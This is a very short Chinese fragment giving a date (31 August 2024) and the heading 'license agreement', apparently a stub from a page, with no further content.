2024年8月31日
许可协议